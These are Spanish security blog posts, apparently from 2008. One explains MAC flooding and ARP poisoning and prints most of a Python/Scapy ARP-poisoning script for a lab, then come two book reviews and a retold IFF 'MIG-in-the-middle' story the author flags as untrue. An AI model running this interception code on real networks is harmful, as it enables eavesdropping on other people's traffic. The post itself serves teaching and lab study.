A un atacante, lo que le gustaría es que el conmutador funcionase en modo repetidor cuando quisiera realizar una escucha. Para ello lo que tendrá que hacer es asegurarse de que el conmutador nunca encuentra las MACs de destino en su tabla. Esto nos lleva al primer tipo de ataque: el de inundación de la tabla del conmutador (mac flooding). En este ataque el intruso emitiría masivamente paquetes con MACs de origen ficticias. El destino y la naturaleza de estos paquetes no sería importante, aquí lo importante es que el conmutador fuese llenando su tabla con MACs inexistentes hasta agotar todo la memoria disponible, cuando eso ocurriese comenzaría a funcionar como repetidor al ser incapaz de encontrar las MACs de destino efectivas en su tabla atiborrada de basura. Este ataque era factible con los primeros conmutadores que salieron al mercado, ya que eran dispositivos poco potentes y apenas depurados. Sin embargo, en la actualidad los conmutadores cuentan con potencia suficiente como para evitar que un sólo PC les llene la tabla de MACs. Se trata por tanto de una carrera que el atacante difícilmente puede ganar. Además, este ataque es bastante indiscreto ya que degrada el rendimiento de la red de una manera tan llamativa que antes o después el administrador acabará accediendo al conmutador a ver qué le ocurre, se percatará del estado de la tabla de MACs y se imaginará que se está produciendo un ataque.

La segunda vía de ataque tiene que ver con la manera con la que los dispositivos de red averiguan la MAC del equipo con el que quieren hablar. Si un equipo con dirección IP A quiere hablar con otro de su mismo rango con dirección IP B usará el protocolo ARP para obtener la MAC de B. Básicamente lo que A hará es emitir un "ARP request" en el que preguntará a todos los equipos de su red: ¿cual es la MAC del equipo con dirección IP B?. El equipo B escuchará la pregunta y responderá con un "ARP reply": "yo soy el equipo con dirección IP B y mi MAC es esta". Una vez obtenida la MAC, A ya puede crear los paquetes de datos destinados a B. El equipo A guardará una tabla (la tabla de ARP) con las equivalencias ARP que vaya averiguando para no tener que preguntar por las MACs de las mismas direcciones IP una y otra vez. Hasta ahí todo bien, pero existe un tipo de paquete ARP denominado "update" que sirve para que B pueda tomar la iniciativa de actualizar su entrada en la tabla de ARP de A. ¿Para qué iba B a hacer esto?, ¿no hemos dicho que la MAC no suele cambiar?, es una buena pregunta que no tiene una respuesta fácil. Hay quien argumenta que este mecanismo se hizo para minimizar el impacto que supone para un equipo cambiar de dirección de IP en redes gestionadas por un servidor de DHCP, otros argumentan que no es sino otro de los agujeros de diseño de los protocolos que sustentan Internet, más pensados en la funcionalidad que en la seguridad. Lo cierto es que estas actualizaciones de la tabla de ARP suponen un vector de ataque gravísimo y muy difícil de detectar y da lugar a los llamados ataques de ARP Poisoning o envenenamiento ARP.

La idea del ARP Poisoning es la siguiente, supongamos que A y B están intercambiando paquetes en el transcurso de una conversación. La tabla de ARP de A contendrá el siguiente registro: IPb-MACb. A la inversa, la tabla de ARP de B contendrá el siguiente registro referente a A: IPa-MACa. Si un atacante C quisiera escuchar las comunicaciones entre A y B sólo tendría que enviarle a A el siguiente ARP update: IPb-MACc; y a B: IPa-MACc. De esta manera C engañaría a A haciendole creer que para llegar a B lo que debe hacer es destinar los paquetes... ¡a la MAC de C! (y viceversa para el caso de B). El efecto sería que C recibiría todos los paquetes que intercambiasen A y B, independientemente de que estos se interconecten mediante un conmutador. A partir de ahí, una vez escuchados los paquetes, C sólo tiene que reenviar los paquetes a su legítimos destinatarios para que estos no detecten el engaño. Este ataque funciona y es muy difícil de evitar. Como mucho se pueden forzar determinadas entradas de la tabla de ARP para que no cambien o que si lo hacen alerten al administrador. Es el caso de la aplicación ARPWatch, aplicación que vigila la tabla de ARP y alerta cuando una dirección IP pasa a ser usada por una MAC diferente, cosa que como hemos visto puede ser un síntoma de ARP Poisoning.

Herramientas como Ettercap o Cain&Abel incluyen este tipo de técnicas para realizar escuchas. En uno de mis artículos sobre creación de laboratorios virtuales se desarrolló una maqueta de una red conmutada para hacer pruebas de escuchas con ettercap. Esta maqueta se puede descargar desde aquí.

De todos modos, para los que prefieren el modo de vida samurai y construirse sus propias herramientas, se pueden programar estas técnicas de manera rápida y sencilla con Python y la librería Scapy (ambos elementos recurrentes en mis artículos). En la maqueta mencionada anteriormente (concretamente en la carpeta /root/scripts del PC-Sniffer) hay un script llamado ARPPoison, programado por mi para sistemas Linux, para ensayar la técnica del envenenamiento ARP.

La estructura de ARPPoison es muy sencilla:

## # PROGRAMA ## if (__name__ == "__main__"): parseArguments() checkEnvironment() gatherData() print "Comienza el ataque. Para pararlo pulse Control-C..." try: while (1): doARPPoisonAttack() time.sleep(WAITING_TIME) except KeyboardInterrupt: print "Ataque finalizado, borrando huellas de las caches..." repairARPCaches() print "Caches reparadas." print "Devolviendo a su sistema a la normalidad..." cleanThings() print "Hecho." print "�Que tenga un buen dia!" print "\n"
La función parseArguments se limita a tratar los parámetros introducidos por el usuario (las dos direcciones IP a las que hay que interceptar).

La siguiente función, checkEnvironment, se asegura de que nuestro sistema tiene activado el IP_Forwarding, esencial para devolver los paquetes interceptados a sus legítimos destinatarios después de realizar la escucha.

def checkEnvironment(): global forwarding global redirect input, output, error= os.popen3("sysctl net.ipv4.ip_forward" , 'r') line = output.readline() forwarding = int( line.split("=")[1].strip() ) if not forwarding: print "El sistema no esta configurado para reenviar paquetes." print "Habra que activar momentaneamente el reenvio." os.system("sudo sysctl net.ipv4.ip_forward=1") print "Activado el reenvio de paquetes." else: print "Bien, el reenvio de paquetes ya se encontraba activado."

En cuanto a gatherData, se encarga de averiguar cuales son las MACs de los dos extremos a interceptar. Necesitamos conocerlas para poder restaurar las tablas de ARP a su estado original cuando demos por finalizada la escucha.

#
# Esta funcion recopila los datos necesarios para realizar el envenenamiento ARP.
def gatherData():
    global mac_list_1
    global mac_list_2
    global my_MAC
    global my_IP
    #En general, obtener la direccion IP local no es un procedimiento portable entre
#sistemas operativos. Podriamos parsear la salida del comando ifconfig en linux
#y en windows la del comando ipconfig, pero es mucho mas sencillo aprovecharnos 
    #de que scapy usa la mac y la ip locales al crear un paquete ARP.
    arp_packet = scapy.ARP()
    my_MAC = arp_packet.hwsrc
    my_IP = arp_packet.psrc
    my_address = IPy.IP(my_IP)
    #Ahora recopilamos las MACs de los equipos comprendidos en los segmentos pedidos.
    print "Recopilando MACs involucradas para preparar la vuelta atras..."
    print "Extremo 1..."
    for ip in target_address_1:
        if (ip != my_address):
            mac_list_1[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_1[ip.strNormal()] 
    print "Extremo 2..."
    for ip in target_address_2:
        if (ip != my_address):
            mac_list_2[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_2[ip.strNormal()]

Una vez terminadas estas labores preliminares, se puede iniciar el ataque de envenenamiento. En el programa se encarga de ello la función doARPPoisonAttack, la cual se repite sucesivas veces en bucle para evitar que los registros fraudulentos de la tabla de ARP caduquen y se deshaga el desvio.


# # Esta funcion realiza el ataque de envenamiento ARP. def doARPPoisonAttack(): #La idea es mandar ARP-Replies a los host de la lista target_address_1 haciendoles #creer que los equipos de target_address_2 tienen la MAC de nuestro equipo y viceversa. # De esta manera haremos que el trafico entre unos y otros pase por nosotros. #Los codigos de operacion de los paquetes ARP son: #"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, # "Dyn-RARP-err":7, "InARP-req":8,"InARP-rep":9 #Se puede encontrar una descripcion muy completa del formato de los paquetes ARP en: #http://www.comptechdoc.org/independent/networking/guide/netarp.html #Y por supuesto en su correspondiente RFC ;-) for ip in target_address_1: for ip2 in target_address_2: #Suplantamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip.strNormal(), / hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) #No es necesario, pero si quisieramos forzar el ethertype es necesario instalar #previamente un fichero /etc/ethertype valido. Hacer lo siguiente valdra: # wget http://pierre.droids-corp.org/scapy/ethertypes -O /etc/ethertypes #Se puede encontrar una lista mucho mas completa en: #http://www.iana.org/assignments/ethernet-numbers #aunque a esta ultima lista habria que darle formato para que la entendiese #scapy. ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            # Hemos usado el sendp para realizar el envio a nivel 2.
scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip.strNormal()) + " en la cache ARP de " + / str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Suplantamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip2.strNormal(), / hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip2.strNormal()) + " en la cache ARP de " / + str(ip.strNormal())

En este punto es cuanto el atacante puede lanzar un sniffer en otra ventana (o con la orden screen si estamos en la maqueta de Netkit facilitada) y visualizar todo el tráfico intercambiado entre los extremos interceptados. Cuando de por terminada la sesión de escuchas pulsará Control-C para salir del bucle de envenenamiento y se dará paso a la función repairARPCaches que se encargará de enviar paquetes de ARP Update a los extremos atacados para dejar sus tablas de ARP en un estado correcto. Si no se efectuase esta corrección se produciría un corte de comunicaciones entre los dos extremos que podría alertarles del ataque.



# # Esta funcion revierte los cambios realizados reponiendo las MACs correctas # en las respectivas caches de ARP. def repairARPCaches(): for ip in target_address_1: for ip2 in target_address_2: #Reparamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_1[ip.strNormal()], / psrc=ip.strNormal(),hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            #Hemos usado sendp para realizar el envio a nivel 2
scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip.strNormal()) + /" en la cache ARP de " + str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Reparamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_2[ip2.strNormal()], / psrc=ip2.strNormal(),hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip2.strNormal()) + /" en la cache ARP de " + str(ip.strNormal())
Por último, está la función cleanThings, que se limita a desactivar el IP_Forwarding de nuestro equipo.
# # Esta funcion es un cajon de sastre para limpiar los cambios que hayamos hecho # en el sistema del usuario. def cleanThings(): print "Devolviendo a la variable de sistema ip_forward a su estado anterior (" / + str(forwarding) + ")..." os.system("sudo sysctl net.ipv4.ip_forward=" + str(forwarding))
Como se puede apreciar, realizar escuchas en un entorno conmutado no resulta nada complicado, existen herramientas para ello e incluso programar una no es nada difícil. Existen algunas maneras de detectar este tipo de ataques. En alguno de mis próximos artículos analizaré algunas de las trazas que pueden dejar este tipo de programas y cómo detectarlos.

Queda con ello demostrado que los conmutadores no aseguran la privacidad de nuestro tráfico, tal y como muchos creen erróneamente. La única manera de garantizar la privacidad de nuestros datos cuando estos viajen por la red es cifrarlos correctamente.

18 diciembre 2008

Practical Packet Analysis


"Practical Packet Analysis: Using Wireshark to Solve Real- World Network Problems" es, como su nombre advierte, un manual aplicado de Wireshark (antes conocido como Ethereal) que viene a exponer usos prácticos de este potente analizador de redes para detectar y solucionar problemas comunes en una red de datos moderna.

La verdad es que este libro no le enseñará nada nuevo a nadie con cinco o seis años de experiencia en configuración y administración de redes medias o grandes. Pero los que carezcan de tal experiencia encontrarán en este libro una interesante introducción a técnicas de troubleshooting mediante capturas de red tremendamente potentes y útiles para su quehacer diario. Todas estas técnicas se explican con un lenguaje cercano y práctico haciendo hincapie en los conceptos sobre el protocolo TCP/IP que todo administrador de red debería conocer (aunque desgraciadamente no siempre ocurre).

Para presentar la aplicación práctica de estas técnicas, el autor desarrolla los escenarios más variopintos: desde escenarios de lentitud de red, a ataques de gusanos de internet, pasando por problemas de enrutamiento, ataques de ARP Poisoning, y un largo etcetera. En todos estos escenarios, el autor expone cómo se podría utilizar la captura de paquetes de red y su posterior análisis mediante Wireshark para encontrar al causante del problema presentado.

Todo esto hace que este libro sea de fácil lectura y de inmediata aplicación ya que los ejemplos están perfectamente elegidos y son comunes en la problemática diaria de un departamento de comunicaciones. Es precisamente por eso que, posiblemente, este libro aporte poco a un administrador de red con cierta experiencia y que ya se habrá encontrado con estos problemas varias veces a lo largo de su carrera. A los otros, a los que están comenzando en el apasionante mundo de las Redes y la Seguridad este libro les será de tremenda ayuda.

17 agosto 2008

MIG-in-the-middle


Un ataque man-in-the-middle se produce cuando un tercero se sitúa entre dos principales, ya sean personas o algún tipo de equipo, y les engaña haciéndoles creer a cada de ellos que él es el otro principal. Para ello actúa de intermediario modificando el flujo de información intercambiado por los principales según sus intereses. La única solución a este tipo de ataques es el cifrado de la comunicaciones mediante un protocolo que implique un intercambio de claves a través de un canal seguro, de manera que aunque un atacante pudiese intervenir la comunicación sería incapaz de entenderla o de modificarla sin ser detectado por los controles de integridad.

Hasta ahí la teoría. La práctica admite multitud de variantes, que de hecho se han dado a lo largo de la historia. Uno de los ejemplos más espectaculares me lo he encontrado durante la lectura de Security Engineering, de Ross Anderson. Para ilustrar la disertación sobre los ataques man-in-the-middle, el autor cuenta el desastre sufrido por las tropas sudafricanas a raíz de una variante del ataque que el tiempo ha acabado llamando MIG-in-the-middle.

======================================
Nota del autor: Como Zooko comentó en la versión inglesa de este artículo, Ross Anderson admitió en la segunda edición de su libro que recientemente había descubierto que esta historia no era cierta. Sin embargo, podría haber pasado (cambiando los actores) en cualquier otra guerra en cualquier otro sitio, por eso pienso que sigue siendo interesante.
======================================

A finales de los 80, Sudáfrica estaba implicaba en una guerra en el norte de Namibia y en el sur de Angola. Su objetivo era mantener al gobierno blanco de Namibia y poner al gobierno títere de la UNITA en Angola. Como el ejército sudafricano estaba formado exclusivamente por reclutas blancos y estos no representaban precisamente un segmento de población numerosa era esencial mantener una tasa de bajas lo más reducida posible. Por eso el ejército sudafricano prefería concentrarse en mantener el orden en Namibia y apoyar con sus fuerzas aéreas a las tropas de la UNITA en Angola. Para evitar que las tropas rebeldes angoleñas y sus aliados cubanos realizasen contraataques aéreos contra Namibia, Sudáfrica desplegó una poderosa barrera de baterías antiaéreas. Para que no se diese el llamado "fuego amigo", los aviones sudafricanos iban equipados con dispositivos IFF (identify-friend-or-foe), comunes hoy día, los cuales respondían según un algoritmo preestablecido a las señales enviadas por las baterías antiaéreas de manera que estas identificasen como amigos a los aviones sudafricanos. En realidad no era sino la versión tecnológica del clásico sistema de "santo-y-seña".

El sistema defensivo parecía imbatible y, sin embargo, un buen día un escuadrón de MIGs cubanos atravesó la línea de defensa y bombardeó uno de los principales campamentos sudafricanos de Namibia sin que las baterías antiaéreas de la frontera disparasen un sólo tiro. Las bajas fueron terribles y motivaron que el gobierno sudafricano decidiese retirar las tropas de Namibia, lo que con el tiempo llevó a que cayese el gobierno blanco de aquel país.

Pasó un tiempo hasta que se descubrieron (y se confesaron) las causas de aquel fallo garrafal en la defensa sudafricana. Parece ser que la inteligencia angoleña averiguó que los sudafricanos, quizás por un exceso de confianza, dejaban encendidos sus dispositivos IFF cuando realizaban misiones sobre territorio angoleño por lo que hicieron que una escuadrilla de MIGs esperase cerca de la frontera de Namibia a que otra escuadrilla, esta vez sudafricana (SAAF en la figura), sobrevolase Angola para realizar un bombardeo. Cuando los sudafricanos hicieron acto de presencia sobre Angola para llevar a cabo sus respectivas misiones, los MIGs penetraron en territorio de Namibia. Por supuesto, las baterías antiaéreas sudafricanas detectaron a los MIGs y lanzaron las señales IFF para averiguar si se trataba de aviones amigos o enemigos. Los MIGs carecían de las claves necesarias para responder correctamente a las señales IFF, por eso su plan era reenviar las señales a sus estaciones de radio en Angola y que estas se las sirviesen a la escuadrilla sudafricana que estaba sobrevolando aquel país en ese momento. El plan funcionó porque los aviones sudafricanos tenían encendidos sus IFF y, cuando las estaciones de radio angoleñas emitieron las señales remitidas por los MIGs, los sudafricanos comenzaron a emitir sin saberlo las señales de respuesta correctas que por supuesto los angoleños se ocuparon de captar y de reenviarselas a sus MIGs para que estos se las sirviesen en bandeja a las baterías de Namibia. Así, las defensas aéreas sudafricanas en Namibia se tragaron que aquella escuadrilla de MIGs eran aviones amigos, dándole vía libre.

Aquel ataque obligó a replantearse profundamente la tecnología, los protocolos y los procedimientos operativos utilizados para el IFF. Para empezar, a nivel operativo se prohibió a los pilotos que tuviesen sus IFFs encendidos cuando volasen sobre territorio enemigo. A nivel de protocolo la solución fue mucho más difícil de encontrar y desde luego no fue definitiva, ya que lo que se empezó a hacer fue incluir la identificación del avión en la respuesta devuelta por el IFF de manera que se pudiesen cruzar los datos de las torres de control con los de las baterías para obtener divergencias. Otro método que se intentó fue medir los retardos de las respuestas de manera que si alguna llegaba "mas tarde" de lo normal se podía sospechar que el IFF que la había generado estaba más lejos que el avión detectado. Hay que tener en cuenta que ante este ataque concreto el cifrado de las comunicaciones no supone defensa alguna ya que los MIGs no necesitaban romper ni la confidencilidad ni la integridad de las señales IFF, ya que les bastaba con "reflejarlas" hacia sus estaciones de radio. Todas estas respuestas distan mucho de ser perfectas y mucho menos viables en áreas de batalla atestadas de tráfico aéreo de los dos bandos, es por ello que las técnicas de IFF suponen un campo en constante desarrollo para evitar desastres como el provocado por el ataque MIG-in-the-middle.

15 marzo 2008

Silence on the wire

El problema de muchos libros de seguridad es que se limitan a enumerar una serie de ataques contra vulnerabilidades en servicios habituales. Lo que le pasa a estos libros es que pierden validez conforme van saliendo los parches para las vulnerabilidades que mencionan, de manera que para cuando llegan a las imprentas ya están completa y totalmente obsoletos. 
 
Sin embargo hay otros que optan por ser más conceptuales y describir los riesgos provocados por los diseños en vez de por las implementaciones. 
 
Estos libros son mucho más didácticos al ahondar en la naturaleza de los protocolos y sistemas, además su vigencia es mucho más prolongada ya que los problemas de un estándar siguen allí hasta la aparición del siguiente estándar (piense por ejemplo en los problemas de seguridad de sistema WEP).  
 
Silence on the wire pertenece a este segundo grupo de libros. En él, su autor Michal Zalewski realiza un estudio acerca de técnicas de reconocimiento pasivo y de ataques indirectos de una manera bastante ecléptica, tratando temas que van desde la deducción de contraseñas basándose en la temporización de pulsaciones de teclado, al uso parasitario de la potencia de proceso de redes completas de ordenadores sin permiso de sus dueños, pasando por temas tan sugerentes como el uso de la misma infraestructura de la red como medio de almacenamiento masivo de manera oculta y anónima, entre otros. 
 
Algunos de los capítulos tienen un fuerte carácter especulativo y en un primer vistazo pueden parecer difícilmente factibles pero lo cierto es que todos ellos son vectores de ataque en los que rara vez se repara y que sirven de demostración palpable de que hasta el último resquicio en el diseño de un sistema puede ser utilizado por un atacante lo suficientemente motivado para comprometerlo. 
 
Otros de los capítulos de este libro fueron antes papers del autor que tuvieron una gran acogida por lo innovador de su enfoque y los riesgos de lo que alertaba, como es el caso de su estudio de las implementaciones de generadores de números pseudoaleatorios (PRGN) de los sistemas operativos más usados, en el que utilizaba una transformada matemática que permitía representar espacialmente los valores que iban sacando estos generadores y con ello demostrar que muchos de ellos sacaban valores predecibles estadísticamente. 
 
Por todo lo anterior y por mucho más este es un libro excelente que debería ser imprescindible en la biblioteca de cualquier estudioso de la seguridad informática, advirtiendo eso sí, que la lectura de esta obra presupone unos conocimientos ya adquiridos sobre redes y sus protocolos como los que se pueden obtener a través de Kurose&Ross , Tanenbaum o Stallings.